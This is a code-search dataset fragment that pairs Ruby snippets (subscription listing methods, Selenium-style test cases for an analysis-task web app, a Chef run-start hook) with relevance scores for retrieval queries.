all_subscriptions\n #enable this one for the previous conditonal update of resume/pause functionality.\n #self.user_subscriptions.includes([:subscription, :orders]).where('user_subscriptions.status = ?', \"active\").uniq.order(:subscription_id)\n\n permited_status = ['confirm', 'placed']\n self.user_subscriptions.includes([:subscription, :orders]).where('spree_orders.state in (?)', permited_status).uniq.order(:subscription_id)\n end", "title": "" }, { "docid": "076897b64c447493ba57d901df9a8bcf", "score": "0.5679311", "text": "def response\n @client.links.subscriptions\n end", "title": "" }, { "docid": "de5831840b1261450752c81568c3abb8", "score": "0.5675796", "text": "def subaccounts\n @subaccounts ||= fetch_subaccounts\n end", "title": "" }, { "docid": "7b370171d14c2bf42485c086dd84fbfa", "score": "0.5671027", "text": "def get_subscription_list(options = {})\n options = argument_cleaner(required_params: %i( subscriberid ), optional_params: %i( entityid ), options: options )\n authenticated_get cmd: \"getsubscriptionlist\", **options\n end", "title": "" }, { "docid": "decd69fe1090b8aa4a4ba233724f0e60", "score": "0.5667494", "text": "def subscriptions\n posts = @user.posts\n\n sub_array = []\n\n posts.each do |post|\n sub_array << [post.subscription_id, post.username]\n end\n\n @sub_array = sub_array.uniq\n\n @sub_array.each do |post|\n id = post[0]\n subscription = Subscription.find(id)\n pic = subscription.profile_pic\n post << pic\n end\n end", "title": "" }, { "docid": "e7f90ece7d885e34c23fb8878acec054", "score": "0.5664576", "text": "def index\n @user_subscriptions = current_user.subscriptions\n @org_subscriptions = Subscription.where(plan_subscriber_type: 'Organization').includes(:plan_subscriber, :plan)\n .map {|sub| sub if sub.plan_subscriber.created_by == current_user.id}.compact\n end", "title": "" }, { "docid": "50a073decabf111e0af0076900f683d6", "score": "0.56360924", "text": "def index \n @subscriptions = @user.subscriptions.includes(:subscribable)\n end", "title": "" }, { "docid": "4e05cd825e18bb381a6cb052298738e5", "score": "0.56228137", "text": "def index\n @subscriptions = current_member.subscriptions.order(subscribed_at: :desc).page\n end", "title": "" }, { "docid": "b4f873e4f73d87376ba9dd6c45fda44d", "score": "0.56204456", "text": "def index\n @subscriptions = Subscription.all\n end", "title": "" }, { "docid": "b4f873e4f73d87376ba9dd6c45fda44d", "score": "0.56204456", "text": "def index\n @subscriptions = Subscription.all\n end", "title": "" }, { "docid": "b4f873e4f73d87376ba9dd6c45fda44d", "score": "0.56204456", "text": "def index\n @subscriptions = Subscription.all\n end", "title": "" }, { "docid": "b4f873e4f73d87376ba9dd6c45fda44d", "score": "0.56204456", "text": "def index\n @subscriptions = Subscription.all\n end", "title": "" }, { "docid": "b4f873e4f73d87376ba9dd6c45fda44d", "score": "0.56204456", "text": "def index\n @subscriptions = Subscription.all\n end", "title": "" }, { "docid": "b4f873e4f73d87376ba9dd6c45fda44d", "score": "0.56204456", "text": "def index\n @subscriptions = Subscription.all\n end", "title": "" }, { "docid": "b4f873e4f73d87376ba9dd6c45fda44d", "score": "0.56204456", "text": "def index\n @subscriptions = Subscription.all\n end", "title": "" }, { "docid": "b4f873e4f73d87376ba9dd6c45fda44d", "score": "0.56204456", "text": "def index\n @subscriptions = Subscription.all\n end", "title": "" }, { "docid": "b4f873e4f73d87376ba9dd6c45fda44d", "score": "0.56204456", "text": "def index\n @subscriptions = Subscription.all\n end", "title": "" }, { "docid": "b4f873e4f73d87376ba9dd6c45fda44d", "score": "0.56204456", "text": "def index\n @subscriptions = Subscription.all\n end", "title": "" }, { "docid": "b4f873e4f73d87376ba9dd6c45fda44d", "score": "0.56204456", "text": "def index\n @subscriptions = Subscription.all\n end", "title": "" }, { "docid": "6f592aa4dabf8361dbe4773e362512a3", "score": "0.5614343", "text": "def get_subscriptions_from(node)\n iq = basic_pubsub_query(:get)\n entities = iq.pubsub.add(REXML::Element.new('subscriptions'))\n entities.attributes['node'] = node\n res = nil\n @stream.send_with_id(iq) { |reply|\n if reply.pubsub.first_element('subscriptions')\n res = []\n if reply.pubsub.first_element('subscriptions').attributes['node'] == node\n reply.pubsub.first_element('subscriptions').each_element('subscription') { |subscription|\n \t res << PubSub::Subscription.import(subscription)\n } \n end\n end\n true\n }\n res\n end", "title": "" }, { "docid": "12d6bf70bff77d9bd6f071989ddc93ba", "score": "0.5610347", "text": "def all(params = {})\n path = \"/webhook-subscriptions\"\n\n handle_all_request(path, :webhook_subscriptions, params)\n end", "title": "" }, { "docid": "68d18496b06131f801f77c1dfba21b7e", "score": "0.5599138", "text": "def resubscribe\n list_subscriptions = @email_account.list_subscriptions.\n where(:list_id => params[:list_id],\n :list_name => params[:list_name],\n :list_domain => params[:list_domain],\n :unsubscribed => true)\n\n list_subscriptions.each do |list_subscription|\n list_subscription.resubscribe()\n end\n\n render :json => {}\n end", "title": "" }, { "docid": "9ae7d58cb7a9a4ee9d5d42c01457639f", "score": "0.5591041", "text": "def list_subscriptions options = {}\n params = { project: project_path(options),\n pageToken: options.delete(:token),\n pageSize: options.delete(:max)\n }.delete_if { |_, v| v.nil? }\n\n @client.execute(\n api_method: @pubsub.projects.subscriptions.list,\n parameters: params\n )\n end", "title": "" }, { "docid": "a21f2d1b9ee2c86b41bad454c09353e2", "score": "0.55733174", "text": "def create_subscriptions\n products.each do |product|\n subscriptions << Subscription.new(organization:,\n product:,\n user:,\n start_on: Time.zone.today)\n end\n end", "title": "" }, { "docid": "fe714deb6b8d803f78fd5d8559caf8e7", "score": "0.55556685", "text": "def subscriptions\n\t\t@subscriptions_api ||= Glass::Api::Subscriptions.new(self)\n\tend", "title": "" }, { "docid": "5f305564f24d8a8f27ebddb3ceccabab", "score": "0.55361956", "text": "def index\n paginate json: @user.subscriptions.all\n end", "title": "" }, { "docid": "e41c980d4a9353c685b883416cec28f3", "score": "0.55334675", "text": "def read_subscription(subscription_id); end", "title": "" }, { "docid": "3325789d4e085826502845360e7d5e75", "score": "0.5531601", "text": "def subscription\n read_attr :subscription, :to_sym\n end", "title": "" }, { "docid": "2ecce12170d672baa293bd99adeb4f50", "score": "0.5528224", "text": "def list(options = {})\n body = options.has_key?(:query) ? options[:query] : {}\n\n response = @client.get \"/api/subscriptions\", body, options\n\n return response\n end", "title": "" }, { "docid": "4a397961e1d68c6de8d962f8032a3e96", "score": "0.55013734", "text": "def subscriptions=(value)\n @subscriptions = value\n end", "title": "" } ]
84f50530495633f9ffa60a5316b558fa
1. DRIVER TESTS GO BELOW THIS LINE
[ { "docid": "24677fe0ade3909022284cd9d6ffc498", "score": "0.0", "text": "def assert\n raise \"something is wrong!\" unless yield\nend", "title": "" } ]
[ { "docid": "35a51327dd0b5c9a884bb0e6f7155697", "score": "0.7101672", "text": "def testing\n # ...\n end", "title": "" }, { "docid": "8fbc98d9068bd9c82033a031286f0a1e", "score": "0.70860887", "text": "def tests; end", "title": "" }, { "docid": "8fbc98d9068bd9c82033a031286f0a1e", "score": "0.70860887", "text": "def tests; end", "title": "" }, { "docid": "8f1c94592f39e6f7649463118849a3c2", "score": "0.70050657", "text": "def test_cases; end", "title": "" }, { "docid": "a9f4c2a19b80ba89e2afaa1cdd14095b", "score": "0.69938076", "text": "def test_case; end", "title": "" }, { "docid": "5a628fb61130e971532ad3ae10b6ec45", "score": "0.6962882", "text": "def test_setup\r\n \r\n end", "title": "" }, { "docid": "b58cbce0e86395667aaeb65004559c80", "score": "0.68803823", "text": "def running_test_case; end", "title": "" }, { "docid": "6c73bba156f326a656a5565673fb1775", "score": "0.68055624", "text": "def test_0_dummy\n\t\tend", "title": "" }, { "docid": "3f280c87fe3f8e9fdf293a6a5315df33", "score": "0.6740469", "text": "def test_step; end", "title": "" }, { "docid": "20eee1803dc33c3ccfc6a8680fd523f5", "score": "0.66985637", "text": "def my_tests\n end", "title": "" }, { "docid": "b4151c446130d8bada93b3f12a97c3e7", "score": "0.6631728", "text": "def self_test; end", "title": "" }, { "docid": "b4151c446130d8bada93b3f12a97c3e7", "score": "0.6631728", "text": "def self_test; end", "title": "" }, { "docid": "c08eb970c30b696f37e41801ce1910a5", "score": "0.6614092", "text": "def test_0_before\n\t\t$report = Report.new()\n \t\t$testReport = $report.createReport($REPORT)\n\n\t\t$browser = Watir::Browser.new\n\t\t$current=\"\"\n\tend", "title": "" }, { "docid": "8f30017d276b5452bcea06ff2233286c", "score": "0.6602507", "text": "def driver; end", "title": "" }, { "docid": "7545a391a5ee3a4356d9df2fd2e8a4f7", "score": "0.65860283", "text": "def test \n end", "title": "" }, { "docid": "154f5c1f18576f3da8e2e0aa4e6600d9", "score": "0.65831417", "text": "def before_test(test); end", "title": "" }, { "docid": "154f5c1f18576f3da8e2e0aa4e6600d9", "score": "0.65831417", "text": "def before_test(test); end", "title": "" }, { "docid": "af09ed2d8448f488f7942145770ace65", "score": "0.65779537", "text": "def testloop\n \n end", "title": "" }, { "docid": "428b5d1eaf9535043f41374ccd294f0d", "score": "0.65444535", "text": "def test_steps; end", "title": "" }, { "docid": "428b5d1eaf9535043f41374ccd294f0d", "score": "0.65444535", "text": "def test_steps; end", "title": "" }, { "docid": "169182cdb78de5f4c93943de92b336c4", "score": "0.6503164", "text": "def test_order; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.6495885", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.6495885", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.6495885", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.6495885", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.6495885", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.6495885", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.6495885", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.6495885", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.6495885", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.6495885", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.6495885", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.6495885", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.6495885", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.6495885", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.6495885", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.6495885", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.6495885", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.6495885", "text": "def setup; end", "title": "" }, { "docid": "ab428ae414d7b57bc8d56e38b8d48302", "score": "0.6495885", "text": "def setup; end", "title": "" }, { "docid": "072514f3348fe62556dcdfd4b06e3d08", "score": "0.6487262", "text": "def spec; end", "title": "" }, { "docid": "072514f3348fe62556dcdfd4b06e3d08", "score": "0.6487262", "text": "def spec; end", "title": "" }, { "docid": "ad21efe30c678e65d5a0eb2a5e13800a", "score": "0.6483797", "text": "def test_connection\n end", "title": "" }, { "docid": "ce5245890354c6826a1779013d5c4a23", "score": "0.64699334", "text": "def test_001\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n # #Find a PU\n #Pu created\n pu_name = 'pu'\n register_pu(pu_name)\n @@pu = Pu.find(:last)\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n pj_name = 'pj'\n register_pj(pj_name)\n @@pj = Pj.find(:last)\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n # test for individual analysis task\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n # #The contents of a display of a \"master\" tab become\n # a thing for individual analysis task registration.\n click $xpath[\"task\"][\"main_area_td4\"]\n wait_for_page_to_load \"30000\"\n assert is_text_present(_(\"Registration of an Analysis Task\"))\n # select analyze type: 個人解析\n select \"analyze_type\", \"label=#{@individual}\"\n #Click Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n\n @@pu.destroy\n # logout\n logout\n\n end", "title": "" }, { "docid": "bfc69e4949f99cb9fe298d757ddb8a87", "score": "0.64683884", "text": "def setup\n\n end", "title": "" }, { "docid": "bfc69e4949f99cb9fe298d757ddb8a87", "score": "0.64683884", "text": "def setup\n\n end", "title": "" }, { "docid": "bfc69e4949f99cb9fe298d757ddb8a87", "score": "0.64683884", "text": "def setup\n\n end", "title": "" }, { "docid": "e9748b85ddb9d5afe3a6b48a9795e53c", "score": "0.64461225", "text": "def test\n\n end", "title": "" }, { "docid": "55011b23688ae8a6d8cf5f59a12d3923", "score": "0.6444318", "text": "def setup\n end", "title": "" }, { "docid": "55011b23688ae8a6d8cf5f59a12d3923", "score": "0.6444318", "text": "def setup\n end", "title": "" }, { "docid": "55011b23688ae8a6d8cf5f59a12d3923", "score": "0.6444318", "text": "def setup\n end", "title": "" }, { "docid": "55011b23688ae8a6d8cf5f59a12d3923", "score": "0.6444318", "text": "def setup\n end", "title": "" }, { "docid": "55011b23688ae8a6d8cf5f59a12d3923", "score": "0.6444318", "text": "def setup\n end", "title": "" }, { "docid": "55011b23688ae8a6d8cf5f59a12d3923", "score": "0.6444318", "text": "def setup\n end", "title": "" }, { "docid": "da0357a2b96a610e1869a3bc7a1a68bc", "score": "0.64430827", "text": "def test_007\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n @@pu = Pu.find_by_name('SamplePU1')\n\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n @@pj = Pj.find_by_name('SamplePJ1')\n\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n # test master of PJ is not registered\n assert is_text_present(_(\"Details of an analysis task\"))\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n\n click $xpath[\"task\"][\"general_control_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Basic Setting\")) rescue false); sleep 2 }\n sleep 3\n select \"analyze_type\", \"label=#{@individual}\"\n sleep 3\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n # test for value of master into combobox in master tab\n assert_equal [\"sample_c_cpp\"], get_select_options(\"master_id\")\n assert is_text_present(_(\"Optional setting\"))\n # click link setup QAC\n assert is_text_present(\"qac\")\n sleep 3\n click $xpath[\"task\"][\"option_setup_link\"]\n # check log in the navigation bar\n assert !60.times{ break if (is_text_present(_(\"It returns to the state before a save.\")) rescue false); sleep 2 }\n # click link setup QAC++\n assert is_text_present(\"qacpp\")\n sleep 3\n click $xpath[\"task\"][\"option_setup_link2\"]\n sleep 2\n # check log in the navigation bar\n assert !60.times{ break if (is_text_present(_(\"It returns to the state before a save.\")) rescue false); sleep 2 }\n\n\n # logout\n logout\n\n end", "title": "" }, { "docid": "1a6186064d8218f9aa0c8b82bcc4fdae", "score": "0.64408964", "text": "def __dummy_test__\n end", "title": "" }, { "docid": "0d4b620075906cbc657bf6965cdeaf0c", "score": "0.64395684", "text": "def test\n end", "title": "" }, { "docid": "0d4b620075906cbc657bf6965cdeaf0c", "score": "0.64395684", "text": "def test\n end", "title": "" }, { "docid": "0d4b620075906cbc657bf6965cdeaf0c", "score": "0.64395684", "text": "def test\n end", "title": "" }, { "docid": "171bfbcb531c5e13322384224eba1358", "score": "0.6438711", "text": "def test_method\n end", "title": "" }, { "docid": "5a4611c2abd8d87da273054b80362747", "score": "0.643012", "text": "def running_test_step; end", "title": "" }, { "docid": "38a3fd7269acc23d9e9ad422cb365507", "score": "0.64192355", "text": "def test_008\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n @@pj = Pj.find_by_name('SamplePJ1')#\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n # test master of PJ is not registered\n assert is_text_present(_(\"Details of an analysis task\"))\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n\n click $xpath[\"task\"][\"general_control_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Basic Setting\")) rescue false); sleep 2 }\n sleep 3\n select \"analyze_type\", \"label=#{@individual}\"\n sleep 3\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n\n # test for value of master into combobox in master tab\n assert_equal [\"sample_c_cpp\"], get_select_options(\"master_id\")\n assert is_text_present(_(\"Optional setting\"))\n\n click $xpath[\"task\"][\"registration_task_button\"]\n sleep 2\n #assert !60.times{ break if (is_text_present(\"解析ツール未選択 入力内容に問題があるためタスクを登録できません。\") rescue false); sleep 2 }\n\n\n # logout\n logout\n\n end", "title": "" }, { "docid": "bad56addebf754df66f254cab3a17c1a", "score": "0.641806", "text": "def self_test(switches)\n #Visual test to see if we loaded data correctly.\n switches.each do |s|\n pp s\n end\nend", "title": "" }, { "docid": "04d18d246e7639d0aba123fd90cfb28f", "score": "0.6414839", "text": "def setup\r\n end", "title": "" }, { "docid": "b38649ee1d5bbd136b6bf45cf1133a1f", "score": "0.6379351", "text": "def boostrap_test_function()\n\n # sleep(2)\n # puts \"Test sending mms\"\n # require_relative './code-snippets/send-mms'\n # read_extension_phone_number_detect_mms_feature()\n # return\n # sleep(2)\n # puts \"Test sending Fax\"\n # require_relative './code-snippets/send-fax'\n # send_fax()\n #\n # sleep(2)\n # puts \"Test reading message store\"\n # require_relative './code-snippets/message-store'\n # read_extension_message_store()\n #\n # sleep(2)\n # puts \"Test reading number features\"\n # require_relative './code-snippets/number-features'\n # detect_sms_feature()\n\n # sleep(2)\n # puts \"Test export message store\"\n # require_relative './code-snippets/message-store-export'\n # create_message_store_report()\n\n sleep(2)\n puts \"Test sending batch sms\"\n require_relative './code-snippets/send-a2p-sms'\n read_extension_phone_number_detect_a2psms_feature()\nend", "title": "" }, { "docid": "0e88625757db4ec72d353bc86812a228", "score": "0.6371224", "text": "def setup\n \n end", "title": "" }, { "docid": "0e88625757db4ec72d353bc86812a228", "score": "0.6371224", "text": "def setup\n \n end", "title": "" }, { "docid": "0e88625757db4ec72d353bc86812a228", "score": "0.6371224", "text": "def setup\n \n end", "title": "" }, { "docid": "0e88625757db4ec72d353bc86812a228", "score": "0.6371224", "text": "def setup\n \n end", "title": "" }, { "docid": "0e88625757db4ec72d353bc86812a228", "score": "0.6371224", "text": "def setup\n \n end", "title": "" }, { "docid": "0e88625757db4ec72d353bc86812a228", "score": "0.6371224", "text": "def setup\n \n end", "title": "" }, { "docid": "0e88625757db4ec72d353bc86812a228", "score": "0.6371224", "text": "def setup\n \n end", "title": "" }, { "docid": "f9b8a3c689f304a84e5c9cb4c0c150e5", "score": "0.6351065", "text": "def test_004\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n # #Find a PU\n #Pu created\n pu_name = 'pu'\n register_pu(pu_name)\n @@pu = Pu.find(:last)\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n pj_name = 'pj'\n register_pj(pj_name)\n @@pj = Pj.find(:last)\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n # test for individual analysis task\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #The contents of a display of a \"master\" tab become\n # a thing for individual analysis task registration.\n click $xpath[\"task\"][\"main_area_td4\"]\n wait_for_page_to_load \"30000\"\n assert is_text_present(_(\"Registration of an Analysis Task\"))\n # select analyze type: 全体解析 (Analysis of all)\n select \"analyze_type\", \"label=#{@overall}\"\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n #There is no display below \"selection of the upload method of an individual analysis file.\"\n assert !is_text_present(_(\"Select the upload method of individual analysis files\"))\n\n @@pu.destroy\n # logout\n logout\n\n end", "title": "" }, { "docid": "c5eb90340ff757dcbd333dd658ca8f62", "score": "0.6332277", "text": "def setup; end", "title": "" }, { "docid": "81181d50f916900dfc9e1b5ff729dfa6", "score": "0.63058233", "text": "def simpletest_tests(bs)\n #check to see if our internal description is correct.\n assert_equal [:simpletest], bs.tables.keys\n assert_equal [:id, :test], bs.tables[:simpletest].columns.keys\n #check to see if our database description is correct\n bs.connect do |db|\n assert_equal [:simpletest], db.tables\n assert_equal [:id, :test], db[:simpletest].columns\n end\n end", "title": "" }, { "docid": "4c19dfa9f5fd3f7e08fe8999045be7d0", "score": "0.6281666", "text": "def after_test(_test); end", "title": "" }, { "docid": "4c19dfa9f5fd3f7e08fe8999045be7d0", "score": "0.6281666", "text": "def after_test(_test); end", "title": "" }, { "docid": "4c19dfa9f5fd3f7e08fe8999045be7d0", "score": "0.6281666", "text": "def after_test(_test); end", "title": "" }, { "docid": "e3c66aee08c863fc64b9c4cf56a22501", "score": "0.6276824", "text": "def before() ; end", "title": "" }, { "docid": "e4dc3df2a489fb1bddcc5bb4b5db0fc0", "score": "0.62695843", "text": "def test_005\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n # #Find a PU\n #Pu created\n pu_name = 'pu'\n register_pu(pu_name)\n @@pu = Pu.find(:last)\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n pj_name = 'pj'\n register_pj(pj_name)\n @@pj = Pj.find(:last)\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n # test for individual analysis task\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #The contents of a display of a \"master\" tab become\n # a thing for individual analysis task registration.\n click $xpath[\"task\"][\"main_area_td4\"]\n wait_for_page_to_load \"30000\"\n assert is_text_present(_(\"Registration of an Analysis Task\"))\n # select analyze type: 個人解析\n select \"analyze_type\", \"label=#{@individual}\"\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n # Below \"selection of the upload method of an individual analysis file\" is displayed.\n assert is_text_present(_(\"Select a master\"))\n assert is_text_present(_(\"Master\"))\n assert is_text_present(_(\"Select the upload method of individual analysis files\"))\n assert is_text_present(_(\"Upload of individual analysis files\"))\n\n @@pu.destroy\n # logout\n logout\n\n end", "title": "" }, { "docid": "3197d54c048f8c28657a0d0ccf70abe0", "score": "0.6262608", "text": "def testing_end\n end", "title": "" }, { "docid": "e5c9ca1c1d29d6d09c074f01efb958d9", "score": "0.6251685", "text": "def setup\n\t\t\t\tp \"mytest1 setup\"\n\t\tend", "title": "" }, { "docid": "a8afe1134a6e9676b89552ce88e9eb5f", "score": "0.62496454", "text": "def test_010\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n #Pu created\n\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n # test master of PJ is not registered\n assert is_text_present(_(\"Details of an analysis task\"))\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n\n click $xpath[\"task\"][\"general_control_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Basic Setting\")) rescue false); sleep 2 }\n sleep 3\n select \"analyze_type\", \"label=#{@individual}\"\n sleep 3\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n\n # click link setup QAC\n assert is_text_present(\"qac\")\n sleep 3\n click $xpath[\"task\"][\"option_setup_link\"]\n # check log in the navigation bar\n assert !60.times{ break if (is_text_present(_(\"It returns to the state before a save.\")) rescue false); sleep 2 }\n run_script \"destroy_subwindow()\"\n\n\n # logout\n logout\n\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.62447935", "text": "def setup\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.62447935", "text": "def setup\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.62447935", "text": "def setup\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.62447935", "text": "def setup\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.62447935", "text": "def setup\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.62447935", "text": "def setup\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.62447935", "text": "def setup\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.62447935", "text": "def setup\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.62447935", "text": "def setup\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.62447935", "text": "def setup\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.62447935", "text": "def setup\n end", "title": "" }, { "docid": "412256e2fee494992b407640ab04593b", "score": "0.62447935", "text": "def setup\n end", "title": "" }, { "docid": "619be52812cb8b1d3069a29bbe25e801", "score": "0.624031", "text": "def run_test\n # Add your code here...\n end", "title": "" }, { "docid": "619be52812cb8b1d3069a29bbe25e801", "score": "0.624031", "text": "def run_test\n # Add your code here...\n end", "title": "" }, { "docid": "375cdff822ceca3355bb5f395548eb36", "score": "0.6208681", "text": "def test_BooksForAnAuthor\n loginRegisterBazzarVoice\n writeReview \n assert true \n end", "title": "" }, { "docid": "576384889287d1fce64efe65252ce604", "score": "0.6203465", "text": "def test_driver_start_getLocation_cathedral\n\t\td = Driver::new(\"Driver 1\",1)\n\t\tassert_equal d.getLocation, 1\n\tend", "title": "" }, { "docid": "844d78d905ab56b1bdf0377b6cc20d4c", "score": "0.6193517", "text": "def test_021\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n\n #uncheck an option setup of a directory.\n click $xpath[\"task\"][\"master_option_chk2\"]\n sleep 3\n\n #Set Make_root as a suitable directory.\n type \"option_makeroot\", \"public/\"\n\n #The button \"which returns reflecting change\" is clicked.\n click $xpath[\"task\"][\"back_to_reflect_the_changes\"]\n sleep 3\n\n #An option setup of the target tool is changed.\n assert is_text_present(_(\"Make root\")+\":\")\n\n # logout\n logout\n\n end", "title": "" }, { "docid": "aade447288de3899ffe45523ffa187a0", "score": "0.61865044", "text": "def test_user_input_driver_print_valid\n\n end", "title": "" } ]
e7ed8901ab79b0657f560ce4f309738b
Hook to grab the run_status. We also make the decision to run or not run here (our config has been parsed so we should know if we need to run, we unregister if we do not want to run). (see EventDispatch::Baserun_start)
[ { "docid": "0fceaf9531a84ed847dbeab58f5b5d8b", "score": "0.65367943", "text": "def run_start(chef_version, run_status)\n events.unregister(self) unless Chef::DataCollector::ConfigValidation.should_be_enabled?\n @run_status = run_status\n end", "title": "" } ]
